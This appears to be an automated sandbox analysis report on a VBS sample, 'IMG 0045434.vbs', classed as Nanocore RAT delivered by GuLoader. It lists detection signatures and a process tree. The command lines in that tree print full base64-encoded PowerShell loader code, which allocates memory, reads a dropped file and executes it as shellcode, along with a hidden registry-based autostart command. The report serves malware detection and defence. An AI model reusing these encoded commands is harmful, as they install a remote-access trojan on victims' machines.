Edit tour

Windows Analysis Report
IMG 0045434.vbs

Overview

General Information

Sample Name:	IMG 0045434.vbs
Analysis ID:	562140
MD5:	813117cdcd80979365fd6d9586d11e4a
SHA1:	e28ef2705053405e87f440f078f31d13b09a9ee3
SHA256:	1def093ef16309c10c38b5426ac396019c4ddc074394b022626b8dce1ea2acaa
Infos:

Detection

Nanocore GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: NanoCore

Detected Nanocore Rat

Antivirus detection for URL or domain

Yara detected Nanocore RAT

Yara detected GuLoader

Hides threads from debuggers

Creates an autostart registry key pointing to binary in C:\Windows

Creates multiple autostart registry keys

Tries to detect Any.run

Wscript starts Powershell (via cmd or directly)

Potential malicious VBS script found (suspicious strings)

Potential malicious VBS script found (has network functionality)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Very long command line found

Suspicious powershell command line found

Creates autostart registry keys with suspicious values (likely registry only malware)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses dynamic DNS services

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found dropped PE file which has not been started or loaded

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Installs a raw input device (often for capturing keystrokes)

Drops PE files

Tries to load missing DLLs

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Sigma detected: Suspicious Csc.exe Source File Folder

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Compiles C# or VB.Net code

Sigma detected: Suspicious Execution of Powershell with Base64

Creates a process in suspended mode (likely to inject code)

Sigma detected: Autorun Keys Modification

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 7064 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\IMG 0045434.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

powershell.exe (PID: 7640 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgAFAAcgBlAGwANgAgAGIAYQByAHMAawBhAGIAZQBzAG4AIABNAGUAdABhAHQAaABlACAAVABlAGwAZQB2AHMAbgBlAHQAcwA2ACAAUwBtAGEAbABzADcAIABCAE8ATwBTAFQARQBSAEkAIABtAGkAcwBtACAAUABJAE4AUwAgAFQAbgBkAGUAaAB2AGwAMQAgAHMAawByAGkAdgAgAE8AdgBlAHIAIAB1AG4AcAByAG8AcABhAGcAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAaQBsAGQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAGkAZQByAGkAZAAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADMAPQAwADsADQAKACQAUwBsAHUAZAByAGUAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBsAHUAZAByAGUAYwBoADgAPQBbAFMAbAB1AGQAcgBlAGMAaAAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAcwBvAGcAbgBlACAAcwBhAG4AZwAgAE4AWQBUAFYAQQBOAEMAIABSAGkAbABsAGUAdABwAHIAbwA4ACAAcABvAHAAdQBsAGEAcgAgAGIAaQBsAGwAZQBkAG0AIABsAHMAZQBwAHIAbwBjACAAYwBvAG4AcwB0AGEAbgAgAFMAdQBiAHQAZQAgAEkAbABzAGEAYgBlAHQAOQAgAGgAdQBsAGsAeQBuAGEAcAAgAGIAZQB2AHIAdABlAHIAZQBuACAAUwBpAGQAZQB2AGkAIABNAGEAcwB0ACAARQBuAHMAbwBtADEAIABVAG4AZABlAHIAcwBjAGEAbABlADEAIABUAHIAeQBrAGsAZQByAGkAbAAgAEkAZABvAGwAaQBzAGUAcgBpADEAIAByAGUAZAB1ACAAdQBuAGQAdgBpAGcAZQBtAGEAbgAgAEQAZQBmAGUAIABLAE4ATwBDAEsATwBVACAAUwBsAHYAZQBzAHQAZQBzACAATgBvAG4AYgBlACAAUgBlAGEAcgBiAGkAdAByAGEAdAAgAGMAbwByAGIAZQBpAGwAcwBkAG8AIABzAGEAbgBkAHMAeQBuAGwAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBlAGsAcgBlAHQAZQByACIAIAANAAoAJABTAGwAdQBkAHIAZQBjAGgAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVABSAEkAQwBBAC4AZABhAHQAIgANAAoAIwBlAGYAdABlAHIAIABEAHUAcABwAGUAdABmAG8AcgA1ACAAQwBhAHIAZgB1ADEAIABzAHUAcgBlAG4AZQAgAEEARgBTAEkARwAgAGEAcgBpAGsAYQByAGEAcABlAHIAIABQAEkARwBFAE8ATgBIAE8ATABFACAASABvAHYAZQBsAGUAIABTAG0AZQBsAHQAZQAgAG0AZQBsAGUAbgBhACAAVQB0AGEAawAzACAARwBMAE8AUgBJAEUATgBTACAAQwBvAG4AYwBpAG8ANQAgAA0ACgAkAFMAbAB1AGQAcgBlAGMAaAA0AD0AWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAFMAbAB1AGQAcgBlAGMAaAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEIAdQBtAGIAZQByAHMAaABvAG8AIABVAG4AZgBsADMAIABVAG4AcwBhAGMAcgBhADUAIABPAHAAaAB0AGgAYQBsACAAQgByAGEAdAB0AGkAbgAyACAAUABZAFQASABPACAASABlAHIAbQBlAGQAcAA4ACAATAByAGUAcgAyACAAdgBhAHIAcAAgAFEAdQBhAGQAdwBvACAATwB2AGUAcgB0AGgAcgBvADIAIABBAHIAbQBlAG4AaQBhAGEAcgByADMAIABIAGEAbAB2ADQAIABDAHIAdQBuAGsAbABlAHAAZQBuADQAIAByAGUAcwBwAGkAcgAgAFMATQBVAEsASwBFAFMAVABJAFYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEMAYQByAGMAaABhAHIAbwAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADUAPQAwADsADQAKACMAUABhAHIAcwA5ACAAUwBVAFAAUABPAFIAVABBACAARABKAEEARQBWAEUATABTAEsAQwAgAFAAUgBPAEMARQBSAEUATQBPACAATABvAHIAaQBjAGEAZQBwAHIAZQAgAGcAdQByAHIAcwAgAGQAZQBnAHIAYQAgAGwAaQB0AHUAcgBnAGkAZQBzACAAUABBAEEAVABBAEcARQAgAFUAbgByAGUAcAB1AGwAcwAgAFUAbgBhAGMAYwBlAHAAdABhACAASwBlAGwAbAA3ACAAVwBhAGcAZwBsAGUAcwB1AGQAZwAgAE0AZQBnAGEAbABvAHIAbgBpAHQAIABjAG8AbQBwAHUAIABCAFUARABTACAAQgByAG8AbwBkAHkAYQBzAHQAcgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwB2AGUAcgB0AHIAYQBtAHAAbAAiACAADQAKAFsAUwBsAHUAZAByAGUAYwBoADEAXQA6ADoAUgBlAGEAZABGAGkAbABlACgAJABTAGwAdQBkAHIAZQBjAGgANAAsACQAUwBsAHUAZAByAGUAYwBoADMALAA1ADQANwAzADEALABbAHIAZQBmAF0AJABTAGwAdQBkAHIAZQBjAGgANQAsADAAKQANAAoAIwBNAHUAcwBpAGMAcgB5AGIAdQAgAEQATwBLAFUATQAgAEIARQBTAEsAIABjAG8AYQBnAHUAbABvAG0AIABuAG8AbgBzAHkAcwB0AGUAIABQAFIARQBDAEUAUgBUAEkARgAgAFMAYQBiAGIAYQB0AGEAIABwAHUAbgBkAGsAdQByACAAQwBoAGwAbwAgAEwAbwBlAHMAZQAyACAASABhAHYAbgBlAGYAbwAzACAATQBlAHQAYQAxACAAaQBzAGIAYQBhAGQAcwBoAGEAIABUAHIAYQBjAGgAeQBjAGEAIABIAEUAUgBSAEUARwAgAEwAQQBOAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFoAZQBhAGwAOQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAGEAbABrAHYAcgBrADQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbABlAHYAZQBmAG8AZABlAG4AZAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHQAcgBiAGUANAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAEkATgBFAE4ARABFAFMASwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAZQBhAGsAZQBhAHMAeQBjADgAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATQBVAFMASwBVACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAcgBhAG4AZABzAGwAdQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBBAGQAZABpAGIAbABlAGQAZQBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAaABvAGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBpAGcAaAB0AHcAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAGoAZQBuAGUAcwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASABpAGcAaAB3AGEAeQBtAGEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwBwAGQAYQB0AGUAcgBpACIAIAANAAoAWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAUwBsAHUAZAByAGUAYwBoADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 7100 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 1440 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1FFF.tmp" "c:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

CasPol.exe (PID: 5920 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

cmd.exe (PID: 5016 cmdline: "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6132 cmdline: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 7416 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgAFAAcgBlAGwANgAgAGIAYQByAHMAawBhAGIAZQBzAG4AIABNAGUAdABhAHQAaABlACAAVABlAGwAZQB2AHMAbgBlAHQAcwA2ACAAUwBtAGEAbABzADcAIABCAE8ATwBTAFQARQBSAEkAIABtAGkAcwBtACAAUABJAE4AUwAgAFQAbgBkAGUAaAB2AGwAMQAgAHMAawByAGkAdgAgAE8AdgBlAHIAIAB1AG4AcAByAG8AcABhAGcAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAaQBsAGQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAGkAZQByAGkAZAAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADMAPQAwADsADQAKACQAUwBsAHUAZAByAGUAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBsAHUAZAByAGUAYwBoADgAPQBbAFMAbAB1AGQAcgBlAGMAaAAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAcwBvAGcAbgBlACAAcwBhAG4AZwAgAE4AWQBUAFYAQQBOAEMAIABSAGkAbABsAGUAdABwAHIAbwA4ACAAcABvAHAAdQBsAGEAcgAgAGIAaQBsAGwAZQBkAG0AIABsAHMAZQBwAHIAbwBjACAAYwBvAG4AcwB0AGEAbgAgAFMAdQBiAHQAZQAgAEkAbABzAGEAYgBlAHQAOQAgAGgAdQBsAGsAeQBuAGEAcAAgAGIAZQB2AHIAdABlAHIAZQBuACAAUwBpAGQAZQB2AGkAIABNAGEAcwB0ACAARQBuAHMAbwBtADEAIABVAG4AZABlAHIAcwBjAGEAbABlADEAIABUAHIAeQBrAGsAZQByAGkAbAAgAEkAZABvAGwAaQBzAGUAcgBpADEAIAByAGUAZAB1ACAAdQBuAGQAdgBpAGcAZQBtAGEAbgAgAEQAZQBmAGUAIABLAE4ATwBDAEsATwBVACAAUwBsAHYAZQBzAHQAZQBzACAATgBvAG4AYgBlACAAUgBlAGEAcgBiAGkAdAByAGEAdAAgAGMAbwByAGIAZQBpAGwAcwBkAG8AIABzAGEAbgBkAHMAeQBuAGwAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBlAGsAcgBlAHQAZQByACIAIAANAAoAJABTAGwAdQBkAHIAZQBjAGgAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVABSAEkAQwBBAC4AZABhAHQAIgANAAoAIwBlAGYAdABlAHIAIABEAHUAcABwAGUAdABmAG8AcgA1ACAAQwBhAHIAZgB1ADEAIABzAHUAcgBlAG4AZQAgAEEARgBTAEkARwAgAGEAcgBpAGsAYQByAGEAcABlAHIAIABQAEkARwBFAE8ATgBIAE8ATABFACAASABvAHYAZQBsAGUAIABTAG0AZQBsAHQAZQAgAG0AZQBsAGUAbgBhACAAVQB0AGEAawAzACAARwBMAE8AUgBJAEUATgBTACAAQwBvAG4AYwBpAG8ANQAgAA0ACgAkAFMAbAB1AGQAcgBlAGMAaAA0AD0AWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAFMAbAB1AGQAcgBlAGMAaAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEIAdQBtAGIAZQByAHMAaABvAG8AIABVAG4AZgBsADMAIABVAG4AcwBhAGMAcgBhADUAIABPAHAAaAB0AGgAYQBsACAAQgByAGEAdAB0AGkAbgAyACAAUABZAFQASABPACAASABlAHIAbQBlAGQAcAA4ACAATAByAGUAcgAyACAAdgBhAHIAcAAgAFEAdQBhAGQAdwBvACAATwB2AGUAcgB0AGgAcgBvADIAIABBAHIAbQBlAG4AaQBhAGEAcgByADMAIABIAGEAbAB2ADQAIABDAHIAdQBuAGsAbABlAHAAZQBuADQAIAByAGUAcwBwAGkAcgAgAFMATQBVAEsASwBFAFMAVABJAFYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEMAYQByAGMAaABhAHIAbwAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADUAPQAwADsADQAKACMAUABhAHIAcwA5ACAAUwBVAFAAUABPAFIAVABBACAARABKAEEARQBWAEUATABTAEsAQwAgAFAAUgBPAEMARQBSAEUATQBPACAATABvAHIAaQBjAGEAZQBwAHIAZQAgAGcAdQByAHIAcwAgAGQAZQBnAHIAYQAgAGwAaQB0AHUAcgBnAGkAZQBzACAAUABBAEEAVABBAEcARQAgAFUAbgByAGUAcAB1AGwAcwAgAFUAbgBhAGMAYwBlAHAAdABhACAASwBlAGwAbAA3ACAAVwBhAGcAZwBsAGUAcwB1AGQAZwAgAE0AZQBnAGEAbABvAHIAbgBpAHQAIABjAG8AbQBwAHUAIABCAFUARABTACAAQgByAG8AbwBkAHkAYQBzAHQAcgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwB2AGUAcgB0AHIAYQBtAHAAbAAiACAADQAKAFsAUwBsAHUAZAByAGUAYwBoADEAXQA6ADoAUgBlAGEAZABGAGkAbABlACgAJABTAGwAdQBkAHIAZQBjAGgANAAsACQAUwBsAHUAZAByAGUAYwBoADMALAA1ADQANwAzADEALABbAHIAZQBmAF0AJABTAGwAdQBkAHIAZQBjAGgANQAsADAAKQANAAoAIwBNAHUAcwBpAGMAcgB5AGIAdQAgAEQATwBLAFUATQAgAEIARQBTAEsAIABjAG8AYQBnAHUAbABvAG0AIABuAG8AbgBzAHkAcwB0AGUAIABQAFIARQBDAEUAUgBUAEkARgAgAFMAYQBiAGIAYQB0AGEAIABwAHUAbgBkAGsAdQByACAAQwBoAGwAbwAgAEwAbwBlAHMAZQAyACAASABhAHYAbgBlAGYAbwAzACAATQBlAHQAYQAxACAAaQBzAGIAYQBhAGQAcwBoAGEAIABUAHIAYQBjAGgAeQBjAGEAIABIAEUAUgBSAEUARwAgAEwAQQBOAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFoAZQBhAGwAOQAiACAA